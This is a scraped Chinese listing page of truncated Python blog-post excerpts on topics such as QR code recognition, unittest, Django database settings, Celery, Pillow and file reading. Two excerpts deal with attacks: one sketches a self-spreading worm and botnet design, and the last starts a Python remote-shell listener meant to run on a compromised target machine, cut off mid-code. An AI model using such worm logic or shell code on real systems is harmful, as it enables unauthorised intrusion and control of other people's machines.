前言在JavaWeb开发中，一般使用Zxing来生成和识别二维码，但是，Zxing的识别有点差强人意，不少相对模糊的二维码识别率很低。不过就最新版本的测试来说，识别率有了现显著提高。对比在没接触Python之前，曾使用Zbar的客户端进行识别，测了大概几百张相对模糊的图片，Zbar的识别速度要快很多，识别率也比Zxing稍微准确那边一丢丢，但是，稍微模糊一点就无法识别。相比之下，微信和支付宝的识别效果就逆天了。代码案例#-*-coding:utf-8-*-
系统 2019-09-27 17:50:56 2163
模块是用类编写的，只有一个StringIO类，所以它的可用方法都在类中。此类中的大部分函数都与对文件的操作方法类似。例：复制代码代码如下:#coding=gbkimportStringIO,cStringIO,syss=StringIO.StringIO("JGoodisahandsomeboy")s.write("JGoodisahandsomeboy\r\n")s.write('okkkk中国')s.seek(0)prints.read()#最后4个字
系统 2019-09-27 17:50:39 2163
测试步骤1.导入unittest模块importunittest2.编写测试的类继承unittest.TestCaseclassTester(unittest.TestCase)3.编写测试的方法必须以test开头deftest_add(self)deftest_sub(self)4.使用TestCaseclass提供的方法测试功能点5.调用unittest.main()方法运行所有以test开头的方法复制代码代码如下:if__name__=='__mai
系统 2019-09-27 17:50:01 2163
1、django新建项目后会创建settings.py文件，此文件里默认配置了sqllite数据库，原始代码如下：#DATABASES={#'default':{#'ENGINE':'django.db.backends.sqlite3',#'NAME':os.path.join(BASE_DIR,'db.sqlite3'),#}#}2、我们需要将默认配置修改为mysqlDATABASES={'default':{'ENGINE':'django.db.b
系统 2019-09-27 17:49:18 2163
1.什么是FM？FM即FactorMachine，因子分解机。2.为什么需要FM？1、特征组合是许多机器学习建模过程中遇到的问题，如果对特征直接建模，很有可能会忽略掉特征与特征之间的关联信息，因此，可以通过构建新的交叉特征这一特征组合方式提高模型的效果。2、高维的稀疏矩阵是实际工程中常见的问题，并直接会导致计算量过大，特征权值更新缓慢。试想一个10000*100的表，每一列都有8种元素，经过one-hot独热编码之后，会产生一个10000*800的表。因此
系统 2019-09-27 17:48:36 2163
先记录一下我自己像写的一个超级大木马蠕虫的思路。请自行忽略1.本机电脑扫描探测其他电脑2.使用poc验证是否存在漏洞，同时检测是否已经被感染3.如果都满足，感染未感染同时又存在漏洞的机子。4.感染后的机子下载代码。继续以上过程（这样是一台控制几台，几台又控制几台，可以开几台，形成循环。而且不互相知道）5.如何控制自己的这种僵尸网络呢？（开一个特殊的后门）发送一条指令，一传十，十传百。主机信息怎么传递，可传输指令，运行github上的恶意代码，交替运行，由控
系统 2019-09-27 17:47:29 2163
加入cas的好处cas是什么东西就不多说了,简而言之就是单点登陆系统,一处登陆,全网有权限的系统均可以访问.一次登陆,多个系统互通cas一般均放置在内网,加入cas验证则必须要求用户走vpn访问,提高安全性;cas可和域控等系统结合,密码定时过期;基本认证统一走cas控制,减去开帐号等麻烦事;django如何使用cas验证django的好处就是支持的包多,网上已经有大神做好的相关的app,直接下载、安装就可以了。我们要做的就是下载、解压拷贝，略微配置下就可
系统 2019-09-27 17:47:28 2163
PIL：PythonImagingLibrary，已经是Python平台事实上的图像处理标准库了。PIL功能非常强大，但API却非常简单易用。由于PIL仅支持到Python2.7，加上年久失修，于是一群志愿者在PIL的基础上创建了兼容的版本，名字叫Pillow，支持最新Python3.x，又加入了许多新特性，因此，我们可以直接安装使用Pillow。32位的电脑环境安装pillow如果安装了Anaconda，Pillow就已经可用了。否则，需要在命令行下通过
系统 2019-09-27 17:47:01 2163
大数据文摘授权转载自数据派THU作者：MOHDSANADZAKIRIZVI本文主要介绍了：TensorFlow.js(deeplearn.js)使我们能够在浏览器中构建机器学习和深度学习模型，而无需任何复杂的安装步骤。TensorFlow.js的两个组件——CoreAPI和LayerAPI。了解如何构建一个很棒的使用Tensorflow.js对网络摄像头中的图像进行分类的模型。概述你最喜欢用什么工具来编写机器学习模型？数据科学家们对这个永恒的问题会给出各种
系统 2019-09-27 17:46:17 2163
Celery（芹菜）是基于Python开发的分布式任务队列。它支持使用任务队列的方式在分布的机器／进程／线程上执行任务调度。架构设计Celery的架构由三部分组成，消息中间件（messagebroker），任务执行单元（worker）和任务执行结果存储（taskresultstore）组成。1.消息中间件Celery本身不提供消息服务，但是可以方便的和第三方提供的消息中间件集成。包括，RabbitMQ,Redis,MongoDB(experimental)
系统 2019-09-27 17:38:45 2163
本文实例讲述了Python中bisect的用法，是一个比较常见的实用技巧。分享给大家供大家参考。具体分析如下：一般来说，Python中的bisect用于操作排序的数组，比如你可以在向一个数组插入数据的同时进行排序。下面的代码演示了如何进行操作：importbisectimportrandomrandom.seed(1)print('Newposcontents')print('-----------------')l=[]foriinrange(1,15)
系统 2019-09-27 17:38:19 2163
1：readline()file=open("sample.txt")while1:line=file.readline()ifnotline:breakpass#dosomethingfile.close()一行一行得从文件读数据，显然比较慢；不过很省内存；测试读10M的sample.txt文件，每秒大约读32000行；2：fileinputimportfileinputforlineinfileinput.input("sample.txt"):pas
系统 2019-09-27 17:38:15 2163
具体内容如下：使用sorted将字典按照其value大小排序>>>record={'a':89,'b':86,'c':99,'d':100}>>>sorted(record.items(),key=lambdax:x[1])[('b',86),('a',89),('c',99),('d',100)]sorted第一个参数要可迭代，可以为tuple,list>>>items=[(1,'B'),(1,'A'),(2,'A'),(0,'B'),(0,'a')]>
系统 2019-09-27 17:38:00 2163
点击上方“何俊林”，马上关注，每天早上8:50准时推送真爱，请置顶或星标近日，有朋友向我求助一件小事儿，他在一个短视频app上看到一个好玩儿的段子，想下载下来，可死活找不到下载的方法。这忙我得帮，少不得就抓包分析了一下这个app，找到了视频的下载链接，帮他解决了这个小问题。因为这个事儿，勾起了我另一个念头，这不最近一直想把python爬虫方面的知识梳理梳理吗，干脆借机行事，正凑着短视频火热的势头，做一个短视频的爬虫好了，中间用到什么知识就理一理。我喜欢把事
系统 2019-09-27 17:57:10 2162
有的时候我们在获取到目标电脑时候如果对方电脑又python编译环境时可以利用python反弹shell主要用到pythonos库和sokect库这里的服务端在目标机上运行fromsocketimport*fromosimport*s=socket(AF_INET,SOCK_STREAM)#IVP4寻址tcp协议s.bind(('',6666))#补丁端口s.listen(1)#开始监听一个队列whileTrue:sock,addr=s.accept()#返
系统 2019-09-27 17:56:43 2162
